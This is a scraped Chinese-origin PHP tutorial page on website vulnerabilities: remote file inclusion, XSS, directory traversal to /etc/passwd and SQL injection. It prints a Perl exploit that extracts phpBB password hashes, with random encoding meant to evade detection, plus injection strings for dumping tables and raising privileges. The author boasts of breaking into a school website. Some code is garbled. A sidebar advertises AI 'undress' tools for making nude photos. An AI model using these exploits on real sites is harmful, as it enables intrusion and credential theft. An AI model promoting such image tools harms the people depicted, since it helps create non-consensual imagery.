Home Backend Development PHP Tutorial Summary of PHP website vulnerabilities_PHP tutorial

Summary of PHP website vulnerabilities_PHP tutorial

Jul 13, 2016 pm 05:36 PM
php web focus on and Summarize most loopholes now of Related website cyber security page

From the current network security point of view, the WEB page vulnerability that everyone is most concerned about and exposed to most should be ASP. In this regard, Xiaozhu is an expert, and I have no say. However, in terms of PHP, it is also There are also serious security issues, but there are not many articles in this area. Here, let’s briefly discuss the related vulnerabilities of PHP pages.
I have made a summary of the current common PHP vulnerabilities. They are roughly divided into the following categories: including file vulnerabilities, script command execution vulnerabilities, file leak vulnerabilities, SQL injection vulnerabilities, etc. Of course, as for some common technologies such as COOKIE spoofing, we will not discuss them here. There is also a lot of information on the Internet. So , let’s analyze how to exploit these vulnerabilities one by one!
First, let’s discuss the included file vulnerability. This vulnerability should be said to be unique to PHP. This is due to insufficient processing of externally provided malicious data, thus As a result, remote attackers can exploit these vulnerabilities to execute arbitrary commands on the system with WEB process permissions. Let's look at an example: Suppose there is such a code in a.php:
include($include ."/xxx.php");
?>
In this code, $include is generally a path that has been set, but we can achieve the purpose of attack by constructing a path ourselves. For example Say we submit: a.php? include=http://web/b.php, this web is the space we use for attack, of course, b.php is the code we use for attack. We can use b. Write code similar to: passthru("/bin/ls /etc"); in PHP. In this way, you can perform some purposeful attacks. (Note: The web server should not be able to execute PHP code, otherwise problems will occur. For relevant details, please see < >). In terms of this vulnerability, there are many situations, such as: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart, etc.
Next, let’s look at the script command execution vulnerability. This is due to the URI parameters submitted by the user Lack of adequate filtering and submitting data containing malicious HTML code can trigger cross-site scripting attacks and potentially obtain sensitive information of target users. Let us also give an example: the index.php page in PHP Transparent PHP 4.3.1 or below lacks sufficient filtering of PHPSESSID. We can achieve the purpose of attack through such code:
http://web /index.php?PHPSESSID="><script>...</script>In script we can construct functions to obtain some sensitive information of the user. There are relatively few vulnerabilities in this regard, except for PHP Transparent In addition, there are: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Then, let’s take a look at the file leak vulnerability. This vulnerability is due to the lack of adequate filtering of user submitted parameters. Remote attackers can use it to conduct directory traversal attacks and obtain some sensitive information. Let's take the recently discovered phpMyAdmin as an example. In phpMyAdmin, the export.php page does not fully filter the what parameters submitted by the user, and the remote attacker submits a file containing Data with multiple ../ characters can bypass WEB ROOT restrictions and view any file information on the system with WEB permissions. For example, enter such an address: export.php?what=../../.. /../../.. /etc/passwd%00 can achieve the purpose of file leakage. There are relatively many in this area, including: myPHPNuke, McNews, etc.
Finally, we have to go back to the final This is where I get excited. Think about how fun it is to use SQL injection in asp pages. In the past, we had to inject manually until Xiaozhu figured out the "SQL injection secrets" (hehe) and then developed NBSI. The NB Alliance has really opened up the sky. It has helped find loopholes in large websites such as CSDN, Monopoly Forum, China Channel, etc. (I won’t go into more nonsense, it’s a bit off topic...). Let’s keep it true, in fact, in SQL injection in asp is roughly the same as SQL injection in php, just pay a little attention to the functions used. Change asc to ASCII, len to LENGTH, and other functions are basically unchanged. In fact, you can see Do you think of PHP-NUKE and PHPBB when it comes to SQL injection in PHP? Yes, as the saying goes, a forum like Dongwang should be the king of vulnerabilities in the ASP world. This does not mean that its forum is safe. It's too bad, but it's too famous. The more others use it, the more people will do research, and the more security holes will be discovered. The same goes for PHPBB. Nowadays, a large number of people use PHP for forums. Generally, They all chose PHPBB. Its vulnerabilities are always emerging, from the earliest vulnerability discovered in phpBB.com phpBB 1.4.0 version to the latest groupcp.php in phpBB 2.0.6 version, as well as the previously discovered search.php , profile.php, viewtopic.php and so on, there are probably about a dozen of them in total. This has always led to some people using it as a test product when studying PHP vulnerabilities. As the saying goes, practice makes you perfect. I believe that in the future PHPBB will get better and better.
Okay, let’s analyze the cause of the vulnerability. Take the viewtopic.php page as an example, because when calling viewtopic.php, the "topic_id" is obtained directly from the GET request And passed to the SQL query command without any filtering processing, the attacker can submit a special SQL string to obtain the MD5 password. Obtaining this password information can be used for automatic login or brute force cracking.(I don’t think anyone would want to brute force it, unless there is a particularly important reason). Take a look at the relevant source code first:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[topic]) )
# {
# $topic_id = intval($ HTTP_GET_VARS[topic]);
# }
From the above we can see that if the submitted view=newest and sid is set to a value, the executed query code looks like the following (if you haven’t seen it yet) As for the PHPBB source code, I suggest you read it and then look here. The affected systems are: phpBB 2.0.5 and phpBB 2.0.4).

# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# where s.session_id = $session_id
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";

Rick provided the following test code:

use IO::Socket;
$remote = shift || localhost;
$view_topic = shift || /phpBB2/viewtopic.php;
$uid = shift || 2;
$port = 80;
$dbtype = mysql4; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype ";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port :$@ ";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 ";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1 "; # replace this for pgsql or remove it
print $socket "Host: $remote ";
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=< num># {
$p .= chr ();
}
}
close($socket);
}
print " MD5 Hash for uid $uid is $p ";
# random encode str. helps avoid detection
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j ) % 2 || $c eq ) {
$ret .= "%" . sprintf("%x",ord($c));
} else {
$ret .= $c ;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq mysql4) {
return " union select ord(substring(user_password, " . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq pgsql) {
return "; select ascii(substring(user_password from $index for 1 )) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
} else {
return "";
}
}

I won’t explain too much about this broken code. The function is to obtain the HASH value.
Seeing this, you may have some questions about why the modified functions I mentioned earlier are not used. I will tell you. Don’t be afraid of everyone’s jokes: In fact, the query statements on some pages of many websites on the Internet will look like this:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Don’t laugh, it’s true. I’ve used this to access several large websites. As for which ones, it’s hard to tell, but this is how I got into the backend of our school’s website (I hope the school network center can’t see it) To this article, ^_^). Use the previous function. Otherwise, you will have to change other people’s passwords!!!
I almost forgot one thing, when it comes to SQL injection, PHP and ASP are different , mysql’s use of sql statements is not as flexible as mssql. Therefore, many query statements that can be used on mssql will not work in the mysql database. Generally, our common injection statements are like this: aaa.php?id=a into outfile pass .txt or aaa.php?id=a into outfile pass.txt /*You can further change it to: aaa.php?id=a or 1=1 union select id,name,password form users into outfile c:/a
in .txt can export the database data to a file, which can then be viewed.
or like this: mode=, user_level=4
This statement is generally used when modifying data. If there is a vulnerability in the page, It can achieve the effect of elevating privileges.
Others such as OR 1=1 -- or: 1 or 1=1 are similar to asp. I won’t go into more details here. In PHP, SQL injection seems to be a vulnerability. First of all, there are too many pages with this problem.
In fact, you can see that there is only one reason for the above categories: the submitted parameters are not filtered or the filtering is not strict enough. Hackers' defense lines have always been both offensive and defensive. Here, Let’s briefly talk about the prevention methods.

First of all, I personally think the most important point is to set magic_quotes_gpc to ON. Its function is to convert single quotes, double quotes, backslashes, and null characters into characters containing backslashes, such as select * from admin where username=$username and password=$password statement, the attacker wants to use 1 or 1=1 to skip verification, but those strings will be converted into this: select * from admin where username=a and password=1 or 1=1 to achieve the purpose of preventing injection. In fact, the addslashes() operation is automatically performed. If it doesn't work, define a function to handle it yourself. Now it seems that those who engage in PHP

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508215.htmlTechArticleFrom the current network security point of view, the WEB page vulnerability that everyone is most concerned about and exposed to should be ASP. In this regard, Xiaozhu is an expert and I have no say. However, in terms of PHP, there are also many...

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

7 PHP Functions I Regret I Didn't Know Before 7 PHP Functions I Regret I Didn't Know Before Nov 13, 2024 am 09:42 AM

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

How do you parse and process HTML/XML in PHP? How do you parse and process HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

PHP Program to Count Vowels in a String PHP Program to Count Vowels in a String Feb 07, 2025 pm 12:12 PM

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? Apr 03, 2025 am 12:03 AM

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.

See all articles